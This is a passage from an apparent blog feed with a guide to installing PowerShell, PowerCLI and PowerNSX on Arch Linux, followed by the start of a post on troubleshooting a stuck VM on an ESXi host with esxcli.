      <description>To get started with PowerNSX, we need to get PowerShell installed on our Linux system. As on my system I&amp;rsquo;m using Arch Linux, this guide will be mostly based on this distribution. If you are intrested in getting PowerShell on a diferent Linux flavour, please download the relevant package from this repository and process it according to your distro &amp;ldquo;ways&amp;rdquo;: Miscrosoft PowerShell for Linux Repository
PowerNSX requires PowerShell v3 or above, and requires PowerCLI (Recommend v6 and above (at the time of this post v6.</description>
      <content>&lt;p&gt;To get started with PowerNSX, we need to get PowerShell installed on our Linux system. As on my system I&amp;rsquo;m using Arch Linux, this guide will be mostly based on this distribution. If you are intrested in getting PowerShell on a diferent Linux flavour, please download the relevant package from this repository and process it according to your distro &amp;ldquo;ways&amp;rdquo;: &lt;a href=&#34;https://packages.microsoft.com/&#34;&gt;Miscrosoft PowerShell for Linux Repository&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;PowerNSX requires PowerShell v3 or above, and requires PowerCLI (Recommend v6 and above (at the time of this post v6.3R1 )) for full functionality, so if you&amp;rsquo;ve installed PowerShell and/or PowerCLI on your system before, please make sure to update it to the latest version before proceeding.&lt;/p&gt;
&lt;p&gt;To install PowerShell on Arch, issue the following set of commands:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Remember to run the following commands as a sudoer (not a root!)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# The following commands require &amp;#39;git&amp;#39; and &amp;#39;base-devel&amp;#39; packages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# sudo pacman -Syu git base-devel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ git clone https://aur.archlinux.org/powershell.git /tmp/powershell
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ cd /tmp/powershell
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ makepkg -si
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Alternatively, you can use an &lt;a href=&#34;https://wiki.archlinux.org/index.php/AUR_helpers&#34;&gt;AUR helper&lt;/a&gt; to do everything for you. If you&amp;rsquo;re not using one already, I&amp;rsquo;d to recommend &lt;code&gt;yaourt&lt;/code&gt; or &lt;code&gt;yay&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ yay powershell
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ yaourt powershell
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After installing (one way or another) PowerShell, you will need to create a directory for PS Modules. There are two ways you can do that:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Option 1 - separate &amp;#39;Modules&amp;#39; folder for every user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ mkdir /home/vlku/.local/share/powershell/Modules
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Option 2 - joint &amp;#39;Modules&amp;#39; directory for all users in the system&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ sudo mkdir /usr/local/share/powershell/Modules
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Having that done, we can start PowerShell and import the PowerCLI Core module:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ pwsh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PowerShell v6.0.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Copyright (c) Microsoft Corporation. All rights reserved.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;//aka.ms/pscore6-docs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Type &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;‘&lt;/span&gt;help&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;’&lt;/span&gt; to get help.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PS /home/vlku&amp;gt; import-module VMware.PowerCLI 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you&amp;rsquo;ve followed all of the steps above correctly, you should quickly see the following message:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$&amp;lt;&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&amp;gt; Welcome to VMware PowerCLI!
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Log &lt;span style=&#34;color:#66d9ef&#34;&gt;in&lt;/span&gt; to a vCenter Server or ESX host&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; Connect-VIServer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;To find out what commands are available, type&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; Get-VICommand
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;To show searchable help &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; all PowerCLI commands&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; Get-PowerCLIHelp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Once you&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;’&lt;/span&gt;ve connected, display all virtual machines&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; Get-VM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;If&lt;/span&gt; you need more help, visit the PowerCLI community&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; Get-PowerCLICommunity
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Copyright (C) VMware, Inc. All rights reserved.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PS /home/vlku&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Quick note here - it is possible you will get a following error when trying to connect to vSphere and/or NSX:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Connect-VIServer &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;/&lt;span style=&#34;color:#ae81ff&#34;&gt;18&lt;/span&gt;/&lt;span style=&#34;color:#ae81ff&#34;&gt;18&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;05&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;51&lt;/span&gt; PM Connect-VIServer Error&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; Invalid server certificate. Use Set-PowerCLIConfiguration to set the value &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; the InvalidCertificateAction option to Ignore to ignore the certificate errors &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; this connection.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Additional Information&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; Could not establish trust relationship &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; the SSL/TLS secure channel with authority &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;‘&lt;/span&gt;X.X.X.X&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;’&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;At line&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; char&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;+ Connect-VIServer -Server X.X.X.X
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;+ CategoryInfo &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; SecurityError&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; (&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;) [Connect-VIServer], ViSecurityNegotiationException
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;+ FullyQualifiedErrorId &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; Client20_ConnectivityServiceImpl_Reconnect_CertificateError,VMware.VimAutomation.ViCore.Cmdlets.Commands.ConnectVIServer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To avoid this, we can set the PowerCLI configuration to ignore SSL warnings.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PS /home/vlku&amp;gt; Set-PowerCLIConfiguration -InvalidCertificateAction ignore -confirm:$false
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;!-- raw HTML omitted --&gt;
&lt;p&gt;Ok - we are now ready to proceed with PowerNSX installation.&lt;/p&gt;
&lt;p&gt;First, &lt;code&gt;git clone&lt;/code&gt; the PowerNSX repository from GitHub:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ git clone https://github.com/vmware/powernsx.git /tmp/powernsx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, copy the &lt;code&gt;PowerNSX.psd1&lt;/code&gt; and &lt;code&gt;PowerNSX.psm1&lt;/code&gt; from &lt;code&gt;/tmp/powernsx/modules/&lt;/code&gt; to your &lt;code&gt;Modules&lt;/code&gt; directory:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ cp /tmp/powernsx/modules/PowerNSX.psm1 /home/vlku/.local/share/powershell/Modules/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ cp /tmp/powernsx/modules/PowerNSX.psd1 /home/vlku/.local/share/powershell/Modules/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ cp /tmp/powernsx/modules/PowerNSX.psm1 /usr/local/share/powershell/Modules/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ cp /tmp/powernsx/modules/PowerNSX.psd1 /usr/local/share/powershell/Modules/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, go back to the PowerShell, move to the &lt;code&gt;Modules&lt;/code&gt; directory and import PowerNSX module:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@lab.ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ pwsh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PS /home/vlku&amp;gt; cd .local/share/powershell/Modules/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PS /home/vlku/.local/share/powershell/Modules&amp;gt; Import-Module PowerNSX
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That&amp;rsquo;s it! You should now be able to connect to VMware NSX by running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PS /home/vlku/.local/share/powershell/Modules&amp;gt; Connect-NsxServer -vCenterServer vCenterIP.addr
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip;where &lt;code&gt;vCenterIP.addr&lt;/code&gt; is your vCenter IP address or hostname.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Windows PowerShell credential request
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vCenter Server SSO Credentials
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; vlku@nsxlab.ssh.guru
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Password &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; user vlku@nsxlab.ssh.guru&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; ********
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Using existing PowerCLI connection to vCenterIP.addr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(...)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PS /home/vlku/.local/share/powershell/Modules&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Please do not forget to let me know what kind of PowerNSX scripts you&amp;rsquo;ve created by twitter @wilk_it_wizard or #sshguru&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Killing stubborn VMs</title>
      <link>/posts/200501-killing-stubborn-vms/</link>
      <pubDate>Fri, 01 May 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/200501-killing-stubborn-vms/</guid>
      <description>I&amp;rsquo;ve recently encountered a problem in my lab environment while trying to power on a virtual machine (let&amp;rsquo;s call it TheVM in this post):
Yeah, as you can see - the error reported by vCenter wasn&amp;rsquo;t really helpful:
A general system error occurred: Connection refused
After trying to remove the TheVM (or migrate it, or do anything else with it), I got a different, yet still unhelpful, message:
A general system error occurred: Unknown error</description>
      <content>&lt;p&gt;I&amp;rsquo;ve recently encountered a problem in my lab environment while trying to power on a virtual machine (let&amp;rsquo;s call it &lt;code&gt;TheVM&lt;/code&gt; in this post):&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/200501-killing-stubborn-vms/stupidvm.png&#34; alt=&#34;stupidvm&#34;&gt;&lt;/p&gt;
&lt;p&gt;Yeah, as you can see - the error reported by vCenter wasn&amp;rsquo;t really helpful:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;A general system error occurred: Connection refused&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After trying to remove the &lt;code&gt;TheVM&lt;/code&gt; (or migrate it, or do anything else with it), I got a different, yet still unhelpful, message:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;A general system error occurred: Unknown error&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;At this point, I got a bit annoyed to say the least. Restarting individual services on the host or straight out rebooting it altogether didn&amp;rsquo;t seem to help either.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s what I did next:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;As usual, I started out the troubleshooting by connecting to the relevant host through SSH:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@vdi.ssh.lab&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ ssh esxi01.ssh.lab
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Next, I&amp;rsquo;ve asked the system to list all the VM processes:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;vlku@esxi01.ssh.lab&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;: ~&amp;gt;$ esxcli vm process list
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;...&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TheVM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;World ID: &lt;span style=&#34;color:#ae81ff&#34;&gt;1234&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Process ID: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;VMX Cartel ID: &lt;span style=&#34;color:#ae81ff&#34;&gt;1233&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;UUID: &lt;span style=&#34;color:#ae81ff&#34;&gt;11&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;33&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;44&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;55&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;66&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;77&lt;/span&gt; 88-88 &lt;span style=&#34;color:#ae81ff&#34;&gt;77&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;66&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;55&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;44&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;33&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Display Name: TheVM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Config File: /vmfs/volumes/XXX/TheVM/TheVM.vmx
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;...&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;3&#34;&gt;
